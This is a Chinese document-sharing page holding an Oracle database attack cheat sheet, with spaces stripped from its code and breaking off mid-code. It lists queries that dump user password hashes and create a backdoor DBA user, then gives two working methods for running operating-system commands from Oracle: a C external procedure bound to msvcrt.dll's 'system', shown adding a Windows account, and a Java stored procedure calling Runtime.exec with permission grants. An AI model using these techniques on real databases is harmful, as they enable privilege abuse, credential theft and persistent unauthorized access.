oracle技术文档 电脑资料.docx
- 文档编号:3078542
- 上传时间:2022-11-17
- 格式:DOCX
- 页数:19
- 大小:19.95KB
oracle技术文档 电脑资料.docx
《oracle技术文档 电脑资料.docx》由会员分享,可在线阅读,更多相关《oracle技术文档 电脑资料.docx(19页珍藏版)》请在冰豆网上搜索。
oracle技术文档电脑资料
oracle技术文档-电脑资料
2019-01-01
作者:
Robert
配合open那个工具
第一部分
基本查询指令
select*fromV$PWFILE_USERS//查看dba用户
select*fromv$version//查看oracle版本以及系统版本
select*fromsession_privs;//查看当前用户拥有的权限值
select*fromuser_role_privs\\查询当前用户角色
select*fromuser_sys_privs\\查询当前用户系统权限
selectusername,passwordfromdba_users;//查看所有用户密码hash
select*fromdba_sys_privswheregrantee='SYSTEM';\\查系统权限
grantselectanydictionarytosystemwithadminoption;\\登陆不上OEM时候需要此权限
Selectname,passwordFROMuser$Wherename='SCOTT';//低版本查看单用户密码
Selectusername,decode(password,NULL,'NULL',password)passwordFROMdba_users;//查看用户hash
createuserbobidentifiedbyiloveyou;\\建用户bob密码iloveyou
grantdbatobob;\\赋予bobDBA权限
grantexecuteonxmldomtobob\\赋予用户execute
CreateROLE"javauserpriv"NOTIDENTIFIED
CreateROLE"javasyspriv"NOTIDENTIFIED\\当提示role'JAVASYSPRIV'doesnotexist使用
selectgranteefromdba_role_privswheregranted_role='DBA';\\检查那些用户有DBA权限
select*fromdba_directories;\\查看路径所在目录
第二部分,创建java,执行系统命令
no.1
CreateorREPLACELIBRARYexec_shellAS'c:
\windows\system32\msvcrt.dll';
/
showerrors
CreateorREPLACEPACKAGEoracmdISPROCEDUREexec(cmdstringINCHAR);
endoracmd;
/
showerrors
CreateorREPLACEPACKAGEBODYoracmdIS
PROCEDUREexec(cmdstringINCHAR)
ISEXTERNAL
NAME"system"
LIBRARYexec_shell
LANGUAGEC;
endoracmd;
/
showerrors上面这个没有回显的
如果不行可以使用下面这个
CreateorREPLACELIBRARYexec_shellAS'$ORACLE_HOME\msvcrt.dll';
/
showerrors
CreateorREPLACEPACKAGEoracmdISPROCEDUREexec(cmdstringINCHAR);
endoracmd;
/
showerrors
CreateorREPLACEPACKAGEBODYoracmdIS
PROCEDUREexec(cmdstringINCHAR)
ISEXTERNAL
NAME"system"
LIBRARYexec_shell
LANGUAGEC;
endoracmd;
/
showerrors执行完后
执行
execoracmd.exec('net1userrobertiloveyou/add');no2.
CreateorREPLACEANDCOMPILEJAVASOURCENAMED"Host"AS
importjava.io.*;
publicclassHost{
publicstaticvoidexecuteCommand(Stringcommand){
try{
String[]finalCommand;
if(isWindows()){
finalCommand=newString[4];
//Usetheappropriatepathforyourwindowsversion.
finalCommand[0]="C:
\\windows\\system32\\cmd.exe"; //WindowsXP/2003
//finalCommand[0]="C:
\\winnt\\system32\\cmd.exe"; //WindowsNT/2000
finalCommand[1]="/y";
finalCommand[2]="/c";
finalCommand[3]=command;
}
else{
finalCommand=newString[3];
finalCommand[0]="/bin/sh";
finalCommand[1]="-c";
finalCommand[2]=command;
}
finalProcesspr=Runtime.getRuntime().exec(finalCommand);
pr.waitFor();
newThread(newRunnable(){
publicvoidrun(){
BufferedReaderbr_in=null;
try{
br_in=newBufferedReader(newInputStreamReader(pr.getInputStream()));
Stringbuff=null;
while((buff=br_in.readLine())!
=null){
System.out.println("Processout:
"+buff);
try{Thread.sleep(100);}catch(Exceptione){}
}
br_in.close();
}
catch(IOExceptionioe){
System.out.println("Exceptioncaughtprintingprocessoutput.");
ioe.printStackTrace();
}
finally{
try{
br_in.close();
}catch(Exceptionex){}
}
}
}).start();
newThread(newRunnable(){
publicvoidrun(){
BufferedReaderbr_err=null;
try{
br_err=newBufferedReader(newInputStreamReader(pr.getErrorStream()));
Stringbuff=null;
while((buff=br_err.readLine())!
=null){
System.out.println("Processerr:
"+buff);
try{Thread.sleep(100);}catch(Exceptione){}
}
br_err.close();
}
catch(IOExceptionioe){
System.out.println("Exceptioncaughtprintingprocesserror.");
ioe.printStackTrace();
}
finally{
try{
br_err.close();
}catch(Exceptionex){}
}
}
}).start();
}
catch(Exceptionex){
System.out.println(ex.getLocalizedMessage());
}
}
publicstaticbooleanisWindows(){
if(System.getProperty("os.name").toLowerCase().indexOf("windows")!
=-1)
returntrue;
else
returnfalse;
}
};
/
CreateorREPLACEPROCEDUREhost_command(p_command IN VARCHAR2)
ASLANGUAGEJAVA
NAME'Host.executeCommand(java.lang.String)';
/
EXECDBMS_JAVA.grant_permission('SYSTEM','java.io.FilePermission','<>','read,write,execute,delete');
EXECDbms_Java.Grant_Permission('SYSTEM','SYS:
java.lang.RuntimePermission','writeFileDescriptor','');
EXECDbms_Java.Grant_Permission('SYSTEM','SYS:
java.lang.RuntimePermission','readFileDescriptor','');
/
DECLARE
l_outputDBMS_OUTPUT.chararr;
l_line
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- oracle技术文档 电脑资料 oracle 技术 文档 电脑 资料